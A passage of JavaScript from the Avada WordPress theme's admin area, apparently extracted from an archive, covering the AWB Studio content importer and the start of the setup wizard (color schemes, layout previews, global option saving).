*/ initLazyLoad: function() { var imageObserver, $container = this.$el.find( '#main-content .previews' ), $demoImages = $container.find( '.lazy-load' ), options = { root: null, rootMargin: '0px', threshold: 0.1 }; // TODO, make this more efficient when re-init. if ( 'IntersectionObserver' in window ) { imageObserver = new IntersectionObserver( function( entries ) { jQuery.each( entries, function( key, entry ) { var $demo = jQuery( entry.target ), $image = $demo.find( 'img' ); if ( 'undefined' === typeof $image.data( 'src' ) || '' === $image.data( 'src' ) || 'undefined' === $image.data( 'src' ) ) { imageObserver.unobserve( entry.target ); return; } if ( entry.isIntersecting ) { $image.attr( 'src', $image.data( 'src' ) ); $image.imagesLoaded().done( function() { $demo.removeClass( 'lazy-load' ).addClass( 'lazy-loaded' ); $image.attr( 'alt', $image.data( 'alt' ) ); } ); imageObserver.unobserve( entry.target ); } } ); }, options ); $demoImages.each( function() { imageObserver.observe( this ); } ); } }, /** * Get import options. * * @since 3.7 * @return {object} */ getImportOptions: function() { var overWriteType = jQuery( 'input[name="overwrite-type"]:checked' ).val(), shouldInvert = jQuery( 'input[name="invert"]:checked' ).val(), imagesImport = jQuery( 'input[name="images"]:checked' ).val(), options; options = { 'overWriteType': 'undefined' !== typeof overWriteType ? overWriteType : 'replace-pos', 'shouldInvert': 'undefined' !== typeof shouldInvert ? shouldInvert : 'dont-invert', 'imagesImport': 'undefined' !== typeof imagesImport ? imagesImport : 'do-import-images' }; return options; }, /** * Click listener for opening previews. * * @since 3.1 * @return {void} */ initPreviewListener: function() { var self = this; // Remove any existing. self.$el.find( '.awb-studio-content article img, .awb-save' ).off( 'click' ); // Studio content import. self.$el.find( '.awb-save' ).on( 'click', function( event ) { var $button = jQuery( this ), dataType = $button.closest( 'article' ).data( 'type' ), dataID = $button.closest( 'article' ).data( 'id' ), importOptions = self.getImportOptions( event ), dataStudioType = jQuery( '.awb-studio-categories li.active' ).data( 'type' ); event.preventDefault(); if ( $button.hasClass( 'disabled' ) || ! dataType || ! dataID ) { return; } $button.addClass( 'disabled progress' ); // Filter out empty properties (now those are empty arrays). if ( 'object' === typeof self.data[ dataStudioType ][ 'item-' + dataID ].avada_media && 0 === self.mediaImportKeys.length ) { Object.keys( self.data[ dataStudioType ][ 'item-' + dataID ].avada_media ).forEach( function( key ) { // We expect and object. if ( 'object' === typeof self.data[ dataStudioType ][ 'item-' + dataID ].avada_media[ key ] && ! Array.isArray( self.data[ dataStudioType ][ 'item-' + dataID ].avada_media[ key ] ) ) { self.mediaImportKeys.push( key ); } } ); } // Open modal. self.openImportModal(); self.$modalMessage.html( 'Importing Studio Content' ); jQuery.ajax( { type: 'GET', url: ajaxurl, dataType: 'JSON', data: { action: 'awb_studio_import', overWriteType: importOptions.overWriteType, shouldInvert: importOptions.shouldInvert, imagesImport: importOptions.imagesImport, data: { dataType: dataType, dataID: dataID }, awb_studio_nonce: jQuery( '#awb-studio-nonce' ).val() } } ) .done( function( data ) { $button.trigger( 'blur' ); $button.removeClass( 'disabled progress' ); self.addTemporaryClass( $button, 'success' ); if ( 0 < self.mediaImportKeys.length && ( 'undefined' === typeof data.was_imported || false === data.was_imported ) ) { self.importAvadaMedia( data, importOptions ); } else { self.closeImportModal(); } } ) .fail( function() { self.$modalMessage.html( 'Importing Studio Content Failed' ); $button.removeClass( 'disabled progress' ); self.addTemporaryClass( $button, 'error' ); } ); } ); // Add for each. self.$el.find( '.awb-studio-content article img' ).on( 'click', function( event ) { var $wrapper = jQuery( event.currentTarget ).closest( 'article' ), dataID = $wrapper.data( 'id' ); event.preventDefault(); jQuery( '.awb-studio-modal' ).css( 'visibility', 'visible' ); jQuery( 'body' ).addClass( 'fusion-studio-preview-active' ); jQuery( '.awb-studio-modal' ).animate( { opacity: 1 }, 250 ); jQuery( '#fusion-loader' ).show(); self.loadIframePreview( jQuery( this ).closest( 'article' ).attr( 'data-url' ) ); self.setOptions( dataID ); } ); }, /** * Sets options. * * @since 7.7 * @return {void} */ setOptions: function( dataID ) { var $wrapper = jQuery( '.awb-studio-modal' ), options = { // Object of option name and default value. 'overwrite-type': 'replace-pos', 'invert': 'dont-invert', 'images': 'do-import-images' }; jQuery( '.awb-import-studio-item-in-preview' ).data( 'id', dataID ); jQuery.each( options, function( name, value ) { if ( ! $wrapper.find( 'input[name="' + name + '"]' ).is( ':checked' ) ) { jQuery( '#' + value ).prop( 'checked', true ); } } ); }, /** * Import studio content assets. * * @since 3.1 * @return {void} */ importAvadaMedia: function( postData, importOptions ) { var self = this, mediaKeys = Object.keys( postData.avada_media ), progress = ( mediaKeys.length - self.mediaImportKeys.length + 1 ) / mediaKeys.length; self.$modalMessage.html( 'Importing Studio Media: ' + self.mediaImportKeys[ 0 ].replace( '_', ' ' ) ); self.$modalProgressBar.css( 'width', ( 100 * progress ) + '%' ); jQuery.ajax( { type: 'POST', url: ajaxurl, dataType: 'JSON', data: { action: 'awb_studio_admin_import_media', overWriteType: importOptions.overWriteType, shouldInvert: importOptions.shouldInvert, imagesImport: importOptions.imagesImport, data: { mediaImportKey: self.mediaImportKeys[ 0 ], postData: postData }, awb_studio_nonce: jQuery( '#awb-studio-nonce' ).val() } } ) .done( function( data ) { // Remove the media key which was just imported. self.mediaImportKeys.shift(); if ( 0 < self.mediaImportKeys.length ) { self.importAvadaMedia( data, importOptions ); } else { self.closeImportModal(); } } ) .fail( function() { self.$modalMessage.html( 'Failed Importing Studio Media: ' + self.mediaImportKeys[ 0 ] ); } ); }, /** * Opens import modal. */ openImportModal: function() { jQuery( 'body' ).addClass( 'fusion_builder_no_scroll' ); this.$disablePreview.show(); jQuery( '.awb-admin-modal-wrap' ).css( 'display', 'block' ); }, /** * Closes import modal. */ closeImportModal: function() { this.$modal.find( '.awb-admin-modal-status-bar-label span' ).html( '' ); jQuery( 'body' ).removeClass( 'fusion_builder_no_scroll' ); this.$disablePreview.hide(); this.$modal.css( 'display', 'none' ); }, /** * Update the preview area. * * @since 3.1 * @return {void} */ previewsUpdate: function() { var self = this, counter = 1, postType = 'fusion_tb_section', order = [], markup = '', mainTimeout = 0, postMatches = []; // Clear all timeouts to prevent animations still running. jQuery.each( this.timeouts, function( index, value ) { clearTimeout( value ); } ); // Hide all. jQuery( '.previews article' ).css( { display: 'none' } ).addClass( 'hidden' ); // Post type for rest endpoint. if ( 'elements' === self.context.type || 'sections' === self.context.type || 'columns' === self.context.type || 'post_cards' === self.context.type || 'mega_menus' === self.context.type ) { postType = 'fusion_element'; } else if ( 'fusion_template' === self.context.type ) { postType = 'fusion_template'; } else if ( 'icons' === self.context.type ) { postType = 'fusion_icons'; } else if ( 'forms' === self.context.type ) { postType = 'fusion_form'; } else if ( 'awb_off_canvas' === self.context.type ) { postType = 'awb_off_canvas'; } // Get data of posts we need. jQuery.each( self.data[ self.context.type ], function( key, post ) { // Post is not within active tag then no need to show it. if ( 'all' !== self.context.tag && -1 === jQuery.inArray( self.context.tag, post.tags ) ) { return; } // We already have preview loaded, show it. TODO, avoid searching DOM. if ( jQuery( 'article[data-id="' + post.ID + '"]' ).length ) { jQuery( 'article[data-id="' + post.ID + '"]' ).css( { display: 'inline-block' } ); } else { // We need to create markup for preview. markup += ''; } postMatches.push( post ); } ); // Add all needing added. if ( '' !== markup ) { mainTimeout = 50; jQuery( '.previews' ).append( markup ); } // Give delay for paint. setTimeout( function() { var i; // Loop afer all have been added to get position. jQuery.each( postMatches, function( key, post ) { var position = jQuery( 'article[data-id="' + post.ID + '"]' ).position(); position.id = post.ID; order.push( position ); } ); // Sort top to bottom. order.sort( self.SortByTop ); // Reveal top to bottom. for ( i = 0; i < order.length; i++ ) { self.timeouts.push( self.doSetTimeout( i, order, counter ) ); counter++; } // Reinit click listeners. self.initPreviewListener(); // Lazy load of any new images. self.initLazyLoad(); }, mainTimeout ); }, /** * Delay between showing items. * * @since 7.5 * * @return {void} */ doSetTimeout: function( i, order, counter ) { setTimeout( function() { jQuery( 'article[data-id="' + order[ i ].id + '"]' ).removeClass( 'hidden' ); }, counter * 50 ); }, /** * Sort elements by vertical position. * * @since 7.5 * */ SortByTop: function( a, b ) { return ( ( a.top < b.top ) ? -1 : ( ( a.top > b.top ) ? 1 : 0 ) ); // eslint-disable-line no-nested-ternary }, /** * Update data and preview. * * @since 7.5 * * @param data {object} * @return {void} */ updateData: function( data ) { if ( 'object' !== typeof data ) { return; } this.data = data; this.context.type = ''; jQuery( '#filter-bar nav' ).empty(); jQuery( '#main-content .previews' ).empty(); jQuery( '.awb-studio-categories li.active' ).click(); jQuery( 'html, body' ).animate( { scrollTop: jQuery( '.awb-studio-categories' ).offset().top }, 1000 ); }, /** * Add needed listeners. * * @since 7.5 * * @return {void} */ addListeners: function() { var self = this; // Listen for syn button clicks. this.$el.find( '.awb-studio-sync' ).on( 'click', function( event ) { var $button = jQuery( this ); event.preventDefault(); if ( $button.hasClass( 'disabled' ) ) { return; } $button.addClass( 'disabled progress' ); jQuery.ajax( { type: 'GET', url: ajaxurl, dataType: 'JSON', data: { action: 'awb_studio_sync', awb_studio_nonce: jQuery( '#awb-studio-nonce' ).val() } } ) .done( function( data ) { if ( null === data ) { $button.removeClass( 'disabled progress' ); self.addTemporaryClass( $button, 'error' ); return; } $button.trigger( 'blur' ); self.updateData( data ); $button.removeClass( 'disabled progress' ); self.addTemporaryClass( $button, 'success' ); } ) .fail( function() { $button.removeClass( 'disabled progress' ); self.addTemporaryClass( $button, 'error' ); } ); } ); }, loadIframePreview: function( url ) { this.$el.find( '.post-preview iframe' ).attr( 'src', url ); }, /** * Add a class, wait and then remove. * * @since 7.5 * * @return {void} */ addTemporaryClass: function( $element, classname ) { $element.addClass( classname ); setTimeout( function() { $element.removeClass( classname ); }, 2000 ); }, /** * Init Search panel. * * @since 7.5 * @return {void} */ initSearch: function() { var self = this, previewEl = jQuery( '.previews' ), options, fuse, result, value; jQuery( '#search-input' ).on( 'change paste keyup search', _.debounce( function() { var thisEl = jQuery( this ), data, hasValue = false; // Hide all. jQuery( 'article', previewEl ).css( { display: 'none' } ).addClass( 'hidden' ); if ( thisEl.val() ) { value = thisEl.val().toLowerCase(); options = { threshold: 0.2, location: 0, distance: 100, maxPatternLength: 32, minMatchCharLength: 3, keys: [ 'post_title' ] }; data = _.map( self.data[ self.context.type ], function( post ) { return post; } ); fuse = new Fuse( data, options ); result = fuse.search( value ); hasValue = true; } else { result = self.data[ self.context.type ]; } // Show items. _.each( result, function( post ) { // Post is not within active tag then no need to show it. if ( ! hasValue && 'all' !== self.context.tag && -1 === jQuery.inArray( self.context.tag, post.tags ) ) { return; } previewEl.find( 'article[data-id="' + post.ID + '"]' ).css( { display: 'inline-block' } ).removeClass( 'hidden' ); } ); }, 100 ) ); } }; ( function( jQuery ) { 'use strict'; jQuery( document ).ready( function() { window.awbStudio.init(); // Modal. jQuery( '.awb-admin-modal-corner-close' ).on( 'click', function( e ) { e.preventDefault(); window.awbStudio.closeImportModal(); } ); } ); }( jQuery ) ); Avada/assets/admin/js/awb-setup-wizard.js000064400000224641152342437710014352 0ustar00/* global awbSetup, ajaxurl, fusionBuilderText, WebFont, awbPrebuilts, avadaAdminL10nStrings, awbSetupWizard */ window.awbSetupWizard = { shortcodes: {}, schemes: {}, header: '', headerOptions: {}, footer: '', counter: 0, content: '', regExpShortcode: _.memoize( function( tag ) { return new RegExp( '\\[(\\[?)(' + tag + ')(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*(?:\\[(?!\\/\\2\\])[^\\[]*)*)(\\[\\/\\2\\]))?)(\\]?)' ); } ), _keyStr: 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=', globalOptions: {}, loadedFonts: {}, colors: [], _colorsCache: [], // Don't use this variable to schemes colors, use the function instead. schemesLoaded: false, activeTypoSetData: {}, _typographyCache: [], // Don't use this variable to schemes colors, use the function instead. typographyLoaded: false, // Stores current import stage, ie installing or activating plugin or importing prebuilt. currentImportStage: '', _cloneImportStages: [], /* eslint-disable no-bitwise, no-mixed-operators */ base64Encode: function( data ) { var b64 = this._keyStr, o1, o2, o3, h1, h2, h3, h4, bits, i = 0, ac = 0, enc = '', tmpArr = [], r; if ( ! data ) { return data; } data = unescape( encodeURIComponent( data ) ); do { // Pack three octets into four hexets o1 = data.charCodeAt( i++ ); o2 = data.charCodeAt( i++ ); o3 = data.charCodeAt( i++ ); bits = o1 << 16 | o2 << 8 | o3; h1 = bits >> 18 & 0x3f; h2 = bits >> 12 & 0x3f; h3 = bits >> 6 & 0x3f; h4 = bits & 0x3f; // Use hexets to index into b64, and append result to encoded string. tmpArr[ ac++ ] = b64.charAt( h1 ) + b64.charAt( h2 ) + b64.charAt( h3 ) + b64.charAt( h4 ); } while ( i < data.length ); enc = tmpArr.join( '' ); r = data.length % 3; return ( r ? enc.slice( 0, r - 3 ) : enc ) + '==='.slice( r || 3 ); }, base64Decode: function( input ) { var output = '', chr1, chr2, chr3, enc1, enc2, enc3, enc4, i = 0; input = input.replace( /[^A-Za-z0-9+/=]/g, '' ); while ( i < input.length ) { enc1 = this._keyStr.indexOf( input.charAt( i++ ) ); enc2 = this._keyStr.indexOf( input.charAt( i++ ) ); enc3 = this._keyStr.indexOf( input.charAt( i++ ) ); enc4 = this._keyStr.indexOf( input.charAt( i++ ) ); chr1 = ( enc1 << 2 ) | ( enc2 >> 4 ); chr2 = ( ( enc2 & 15 ) << 4 ) | ( enc3 >> 2 ); chr3 = ( ( enc3 & 3 ) << 6 ) | enc4; output = output + String.fromCharCode( chr1 ); if ( 64 !== enc3 ) { output = output + String.fromCharCode( chr2 ); } if ( 64 !== enc4 ) { output = output + String.fromCharCode( chr3 ); } } output = this.utf8Decode( output ); return output; }, utf8Decode: function( utftext ) { var string = '', i = 0, c = 0, c2 = 0, c3; while ( i < utftext.length ) { c = utftext.charCodeAt( i ); if ( 128 > c ) { string += String.fromCharCode( c ); i++; } else if ( ( 191 < c ) && ( 224 > c ) ) { c2 = utftext.charCodeAt( i + 1 ); string += String.fromCharCode( ( ( c & 31 ) << 6 ) | ( c2 & 63 ) ); i += 2; } else { c2 = utftext.charCodeAt( i + 1 ); c3 = utftext.charCodeAt( i + 2 ); string += String.fromCharCode( ( ( c & 15 ) << 12 ) | ( ( c2 & 63 ) << 6 ) | ( c3 & 63 ) ); i += 3; } } return string; }, /* eslint-enable no-bitwise, no-mixed-operators */ /** * Run actions on load. * * @since 7.5 * * @return {void} */ init: function() { this.$el = jQuery( '.avada-dashboard' ); this.isRegistered = awbSetup.isRegistered; this.activeStep = this.isRegistered ? 2 : 1; this.$steps = this.$el.find( '.awb-wizard-steps' ); this.saveChange = awbSetup.saveChange; this.studioURL = awbSetup.studioURL; // Studio option init. this.modal = window.awbStudioModal.init( this.$el, awbSetup.studioData ); // All elements for processing content. this.shortcodeTags = _.keys( awbSetup.allElements ).join( '|' ); // Cache the colors from received from remote, to make the website faster. this.getColorSchemasFromRemote(); // Cache the typography from received from remote, to make the website faster. this.getTypographiesFromRemote(); // Listeners for events. this.addListeners(); }, /** * Add needed listeners. * * @since 7.5 * * @return {void} */ addListeners: function() { var self = this; // Listen for step change click. this.$el.find( '.awb-wizard-link' ).on( 'click', function( event ) { var target = jQuery( this ).attr( 'data-id' ), $activeStep = self.$el.find( '.awb-setup-wizard-section[data-step="' + self.activeStep + '"]' ); event.preventDefault(); // Check if active step has unsaved changes. if ( '1' === $activeStep.attr( 'data-save' ) ) { if ( ! window.confirm( self.saveChange ) ) { // eslint-disable-line no-alert return; } } if ( target ) { // add tab attr to the avada-dashboard parent for styling if needed. const dbWrap = jQuery( this ).parents( '.avada-dashboard' ); dbWrap.attr( 'data-current-tab', target ); if ( 'setup_type' === target ) { if ( 'scratch' === self.$el.find( 'input#setup_type' ).val() ) { self.changeStep( 4 ); self.setMenuState( 'scratch' ); } else { self.changeStep( 20 ); self.setMenuState( 'prebuilt' ); } } else { self.changeStep( target ); } } // layouts if ( 6 == target ) { // 6 is layouts tab. // calc layouts iframe. layoutIframeScale(); const headerGroup = self.$el.find( '.awb-wizard-option-group[data-layout="header"]' ); const headerIframe = headerGroup.find( 'iframe' ); const headerOptions = headerGroup.find( '.awb-setup-import-options' ); self.updatePreviewIframe( headerOptions, headerIframe ); const footerGroup = self.$el.find( '.awb-wizard-option-group[data-layout="footer"]' ); const footerIframe = footerGroup.find( 'iframe' ); const footerOptions = footerGroup.find( '.awb-setup-import-options' ); self.updatePreviewIframe( footerOptions, footerIframe ); } } ); // Studio modal link. this.$el.find( '.awb-studio-link' ).on( 'click', function( event ) { var defaultModalOpenOptions = { 'overwrite-type': 'inherit' }; event.preventDefault(); self.modal.openModal( jQuery( this ).attr( 'data-context' ), jQuery( this ).closest( '.pyre_metabox_field' ), defaultModalOpenOptions ); } ); // Start type selection. this.$el.find( '.avada-setup-select > div' ).on( 'click', function( event ) { var $element = jQuery( this ), $option = $element.parent(); event.preventDefault(); if ( $element.hasClass( 'active' ) ) { return; } $option.find( '.active' ).removeClass( 'active' ); $element.addClass( 'active' ); $option.find( 'input' ).val( $element.attr( 'data-value' ) ); self.setMenuState( 'intro' ); } ); // Listen for color scheme selection. this.$el.find( '.schemes' ).on( 'click', 'li', showColorPreviewSection ); this.$el.find( '.awb-setup-wizard-custom-colors-btn' ).on( 'click', function() { showColorPreviewSection(); setTimeout( function() { if ( ! jQuery( '.awb-setup-wizard-custom-colors-wrapper' ).is( ':visible' ) ) { jQuery( '.awb-setup-wizard-toggle-custom-palette' ).trigger( 'click' ); } }, 300 ); } ); function showColorPreviewSection() { var $sectionContent = jQuery( '.awb-setup-wizard-section[data-step="4"] .awb-setup-wizard-content' ); jQuery( this ).addClass( 'active' ).siblings().removeClass( 'active' ); self.setColorVars(); self.scrollTo(); self.$el.find( '#color-selection' ).fadeOut( 300, function() { jQuery( '.awb-setup-wizard-color-buttons' ).addClass( 'hidden' ); $sectionContent.addClass( 'awb-setup-wizard-content-secondary' ); self.$el.find( '.color-confirm' ).fadeIn( 300 ); } ); } // Listen for color mode change. this.$el.find( '#dark_light' ).on( 'change', function() { self.setGlobalColorsForPreview(); } ); // Listen for color back button click. this.$el.find( '.color-confirm .awb-choices .awb-button[href="#selection"]' ).on( 'click', function( event ) { var $sectionContent = jQuery( '.awb-setup-wizard-section[data-step="4"] .awb-setup-wizard-content' ); event.preventDefault(); self.disableCustomPalette(); self.$el.find( '.color-confirm' ).fadeOut( 300, function() { jQuery( '.awb-setup-wizard-color-buttons' ).removeClass( 'hidden' ); $sectionContent.removeClass( 'awb-setup-wizard-content-secondary' ); self.$el.find( '#color-selection' ).fadeIn( 300 ); } ); } ); // Next or previous scheme shuffle. this.$el.find( '.scheme-nav .awb-button' ).on( 'click', function( event ) { var $target = false; event.preventDefault(); if ( '#next' === jQuery( this ).attr( 'href' ) ) { $target = self.$el.find( '.schemes li.active' ).next(); } else { $target = self.$el.find( '.schemes li.active' ).prev(); } if ( $target && $target.length ) { self.$el.find( '.schemes li.active' ).removeClass( 'active' ); $target.addClass( 'active' ); self.setColorVars(); } } ); // Listen for color filter selection. this.$el.find( '.color-categories' ).on( 'click', 'li', function() { if ( jQuery( this ).hasClass( 'active' ) ) { jQuery( this ).removeClass( 'active' ); self.filterColors(); } else { self.$el.find( '.color-categories li.active' ).removeClass( 'active' ); jQuery( this ).addClass( 'active' ); self.filterColors(); } } ); // Listen for option change and enable save. this.$el.find( '#pyre_base_size, #pyre_sizing_type' ).on( 'change keyup fusion-changed', function() { self.updateFontSizePreview(); } ); // Need plugins check. this.$el.find( '.awb-feature' ).on( 'change', function() { const settings = jQuery( this ).data( 'settings' ); const plugins = settings.plugins; if ( plugins && Array.isArray( plugins ) ) { plugins.forEach( ( plugin ) => { plugin = self.$el.find( '.awb-db-feature:not(.activated) [name="awb-needed-plugin-' + plugin + '"]' ); if ( plugin.length ) { plugin.prop( 'checked', jQuery( this ).prop( 'checked' ) ); } } ); } } ); // toggle icon. this.$el.find( '.awb-toggle-info-icon' ).on( 'click', function( event ) { event.preventDefault(); event.stopPropagation(); const selector = jQuery( this ).data( 'selector' ); const speed = jQuery( this ).data( 'speed' ) || 200; jQuery( selector ).slideToggle( speed ); } ); // Layouts Iframe scale. function layoutIframeScale() { self.$el.find( '.awb-iframe-preview' ).each( function() { var height; const wrap = jQuery( this ), wrapWidth = wrap.width(), iframe = wrap.children( 'iframe' ), iframeWidth = iframe.attr( 'width' ), iframeHeight = iframe.attr( 'height' ); let scale = 1; if ( wrapWidth < iframeWidth ) { scale = ( wrapWidth / iframeWidth * 100 ) / 100; height = parseInt( ( iframeHeight * scale ) + 100 ) + 'px'; // import options height + nice empty space. wrap.css( { height } ); } iframe.css( { transform: 'scale(' + scale + ')' } ); } ); } layoutIframeScale(); jQuery( window ).on( 'resize', function() { layoutIframeScale(); } ); // Studio options listener ( header and footer ). this.$el.find( '.awb-setup-import-options .awb-import-option input[type=radio]' ).on( 'change', function( event ) { const parent = jQuery( this ).parents( '.awb-wizard-option-group' ), $element = parent.find( '.awb-setup-import-options' ), iframe = parent.find( '.awb-iframe-preview iframe' ); self.updatePreviewIframe( $element, iframe, event ); self.setLayoutOptions( parent ); } ); this.$el.find( '.awb-wizard-option-group input.layout-input-id' ).on( 'change', function( event, url ) { const val = jQuery( this ).val(), parent = jQuery( this ).parents( '.awb-wizard-option-group' ), iframe = parent.find( '.awb-iframe-preview iframe' ), defaultButton = parent.find( 'a.set-layout-to-default' ); if ( val ) { iframe.attr( 'src', url + '?template-only=1' ); defaultButton.show(); } else { iframe.attr( 'src', iframe.attr( 'data-default' ) ); defaultButton.hide(); } } ); this.$el.find( '.awb-wizard-option-group a.set-layout-to-default' ).on( 'click', function( event ) { event.preventDefault(); const parent = jQuery( this ).parents( '.awb-wizard-option-group' ), context = jQuery( this ).data( 'context' ); parent.find( 'input[name=' + context + ']' ).val( '' ).trigger( 'change' ); } ); this.$el.find( '.awb-wizard-option-group .awb-iframe-preview iframe' ).on( 'load', function() { const iframe = jQuery( this ); const $element = iframe.parents( '.awb-iframe-preview' ).find( '.awb-setup-import-options' ); self.updatePreviewIframe( $element, iframe ); } ); window.addEventListener( 'message', ( event ) => { const data = event.data; if ( data.setup_wizard_layouts ) { let height = data.content_height; const type = data.content_type; // defaults is the starter header and footer height. if ( !parseInt( height ) ) { if ( 'header' === type ) { height = 100; } else { height = 520; } } self.$el.find( '.awb-wizard-option-group[data-layout="' + type + '"] .awb-iframe-preview iframe' ).attr( 'height', height ); layoutIframeScale(); if ( data.side_header ) { self.$el.find( '.awb-wizard-option-group[data-layout="header"] .awb-iframe-preview' ).addClass( 'has-side-header' ); } else { self.$el.find( '.awb-wizard-option-group[data-layout="header"] .awb-iframe-preview' ).removeClass( 'has-side-header' ); } } }, false ); // Dependency listener. this.$el.find( '#pyre_ptb_selection' ).on( 'change', function() { if ( 'none' === jQuery( this ).val() ) { self.$el.find( '.awb-ptb-layout' ).addClass( 'hidden' ); } else { self.$el.find( '.awb-ptb-layout' ).removeClass( 'hidden' ); } } ); // Listen for prebuilt filter selection. this.$el.find( '.avada-db-demos-themes .fusion-admin-box .button-select-prebuilt' ).on( 'click', function() { // Add class to mark selected prebuilt. jQuery( this ).closest( '.fusion-admin-box' ).addClass( 'active' ); // Advance to next step. self.changeStep( 21 ); } ); // TODO: Check once prebuilt path is completed. this.$el.find( '.awb-setup-build[data-confirm="prebuilt"]' ).on( 'click', function( event ) { event.preventDefault(); jQuery( this ).addClass( 'awb-build-working' ); self.prepareSetupImport(); } ); // Complete the build process. this.$el.find( '.awb-setup-build[data-confirm="scratch"]' ).on( 'click', function( event ) { event.preventDefault(); jQuery( this ).addClass( 'awb-build-working' ); // Clear previously checked items (except plugins). self.$el.find( '.confirm-setup.scratch-confirm-step .checklist li:not([data-plugin])' ).removeClass( 'checked' ); self.scratchBuild(); } ); this.$el.find( '#activate-plugins' ).on( 'click', function( event ) { event.preventDefault(); jQuery( this ).addClass( 'disabled' ).css( 'pointer-events', 'none' ); jQuery( '#awb-activate-plugins-loader' ).css( 'display', 'inline-block' ); self.activateAvadaPlugins(); } ); jQuery( 'body' ).on( 'click', '.awb-setup-dialog-close', function( event ) { event.preventDefault(); jQuery( this ).siblings( '.ui-dialog-titlebar-close' ).trigger( 'click' ); } ).on( 'click', '.awb-prebuilt-import-restart', function( event ) { event.preventDefault(); self.processImportStages( self._cloneImportStages ); jQuery( this ).closest( '.ui-dialog' ).find( '.ui-dialog-titlebar-close' ).trigger( 'click' ); } ); this.$el.find( '.awb-setup-wizard-toggle-custom-palette' ).on( 'click', this.toggleCustomPalette.bind( this ) ); this.$el.find( '.awb-setup-wizard-change-color-toggler' ).on( 'click', this.toggleCustomColor.bind( this ) ); this.$el.find( '.awb-setup-wizard-change-color-name' ).on( 'keyup change', this.handleColorNameChange.bind( this ) ); window.addEventListener( 'awb-setup-success', this.setupSuccess ); window.addEventListener( 'awb-setup-error', this.setupError ); }, setColorVars: function() { var $scheme = this.$el.find( '.schemes li.active' ), id = 1, colors = {}; $scheme.find( '.color-swatch span' ).each( function() { var $togglerName = jQuery( '.awb-setup-wizard-change-color-toggler[data-color-id="' + id + '"] .awb-setup-wizard-color-name' ); colors[ 'color' + id ] = { color: jQuery( this ).attr( 'data-value' ), label: $togglerName.html() }; id++; } ); this.colors = colors; this.setGlobalColorsForPreview(); }, setGlobalColorsForPreview: function() { var $preview = this.$el.find( '.color-preview, .awb-setup-wizard-scheme-mini-preview' ), $typos = this.$el.find( '.awb-setup-wizard-style-preview-typography, .awb-setup-wizard-typography-list, .awb-db-preview-grid' ), elementsToModify = $preview.add( $typos ), mode = this.$el.find( '#dark_light' ).val(), i, colorId, colors = this.colors, colorSlug, color, colorObj; for ( colorSlug in colors ) { if ( 'string' === typeof colors[ colorSlug ].color ) { color = colors[ colorSlug ].color; colorId = colorSlug.match( /\d/ ); colorId = colorId[ 0 ]; for ( i = 0; i < elementsToModify.length; i++ ) { colorObj = jQuery.Color( color ); elementsToModify[ i ].style.setProperty( '--awb-color' + colorId, color ); elementsToModify[ i ].style.setProperty( '--awb-color' + colorId + '-h', colorObj.hue() ); elementsToModify[ i ].style.setProperty( '--awb-color' + colorId + '-s', ( colorObj.saturation() * 100 ) + '%' ); elementsToModify[ i ].style.setProperty( '--awb-color' + colorId + '-l', ( colorObj.lightness() * 100 ) + '%' ); elementsToModify[ i ].style.setProperty( '--awb-color' + colorId + '-a', ( colorObj.alpha() * 100 ) + '%' ); } } } if ( 'dark' === mode ) { elementsToModify = elementsToModify.filter( '.awb-setup-wizard-allow-invert' ); for ( colorSlug in colors ) { if ( 'string' === typeof colors[ colorSlug ].color ) { color = colors[ colorSlug ].color; colorId = colorSlug.match( /\d/ ); colorId = 9 - parseInt( colorId[ 0 ] ); for ( i = 0; i < elementsToModify.length; i++ ) { colorObj = jQuery.Color( color ); elementsToModify[ i ].style.setProperty( '--awb-color' + colorId, color ); elementsToModify[ i ].style.setProperty( '--awb-color' + colorId + '-h', colorObj.hue() ); elementsToModify[ i ].style.setProperty( '--awb-color' + colorId + '-s', ( colorObj.saturation() * 100 ) + '%' ); elementsToModify[ i ].style.setProperty( '--awb-color' + colorId + '-l', ( colorObj.lightness() * 100 ) + '%' ); elementsToModify[ i ].style.setProperty( '--awb-color' + colorId + '-a', ( colorObj.alpha() * 100 ) + '%' ); } } } } }, /** * For a color id, set either the color, label, or both. * * Ex: setCustomColorVal(1, {color: '#fff'}), setCustomColorVal(1, {label: 'Color 1'}). * * @param {int} id * @param {Object} color */ setCustomColorVal: function( id, color ) { var newColor = Object.assign( {}, this.colors[ 'color' + id ], color ); // eslint-disable-line prefer-object-spread this.colors[ 'color' + id ] = newColor; this.setGlobalColorsForPreview(); }, /** * Filter visible color schemes. * * @since 7.5 * * @return {void} */ filterColors: function() { var $schemes = this.$el.find( '.schemes li' ), $categories = this.$el.find( '.color-categories li.active' ), targets = []; $categories.each( function() { targets.push( jQuery( this ).attr( 'data-id' ) ); } ); if ( $categories.length ) { $schemes.addClass( 'hidden' ); setTimeout( function() { var toDisplay = jQuery(); $schemes.css( 'display', 'none' ); $schemes.each( function() { var $scheme = jQuery( this ), categories = $scheme.attr( 'data-categories' ); targets.forEach( function( target ) { if ( categories.includes( target ) ) { toDisplay = toDisplay.add( $scheme ); } } ); } ); toDisplay.css( 'display', 'block' ); $schemes.height(); // force repaint. toDisplay.removeClass( 'hidden' ); }, 260 ); } else { $schemes.addClass( 'hidden' ); setTimeout( function() { $schemes.css( 'display', 'block' ); $schemes.height(); // force repaint. $schemes.removeClass( 'hidden' ); }, 300 ); } }, /** * Import Global Options. * * @since 7.7 * * @return {promise} */ setGlobalOptions: function() { var self = this, typoSet = {}; this.currentImportStage = 'set-global-options'; jQuery( '.awb-setup-wizard-section[data-step="' + self.activeStep + '"] li[data-action="set-globals"]' ).addClass( 'awb-working' ); typoSet = jQuery.extend( true, {}, self.activeTypoSetData ); delete typoSet.name; // Add an endpoint to updates site for this. return jQuery.ajax( { url: ajaxurl, type: 'POST', data: { action: 'awb_save_globals', scheme: this.colors, typo_set: typoSet, sizing_ratio: self.$el.find( '#pyre_sizing_type' ).val(), base_size: parseInt( self.$el.find( 'input[name="base_size"]' ).val() ), maintenance: self.$el.find( 'input[name="awb-needed-plugin-maintenance"]' ).prop( 'checked' ), awb_setup_nonce: jQuery( '#awb-setup-nonce' ).val(), dark_light: jQuery( '#dark_light' ).val() }, dataType: 'json' } ) .done( function( response ) { self.globalOptions = response.data; jQuery( '.awb-setup-wizard-section[data-step="' + self.activeStep + '"] li[data-action="set-globals"]' ).removeClass( 'awb-working' ).addClass( 'checked' ); } ); }, /** * Set Global Options for maintenance. * * @since 7.9 * * 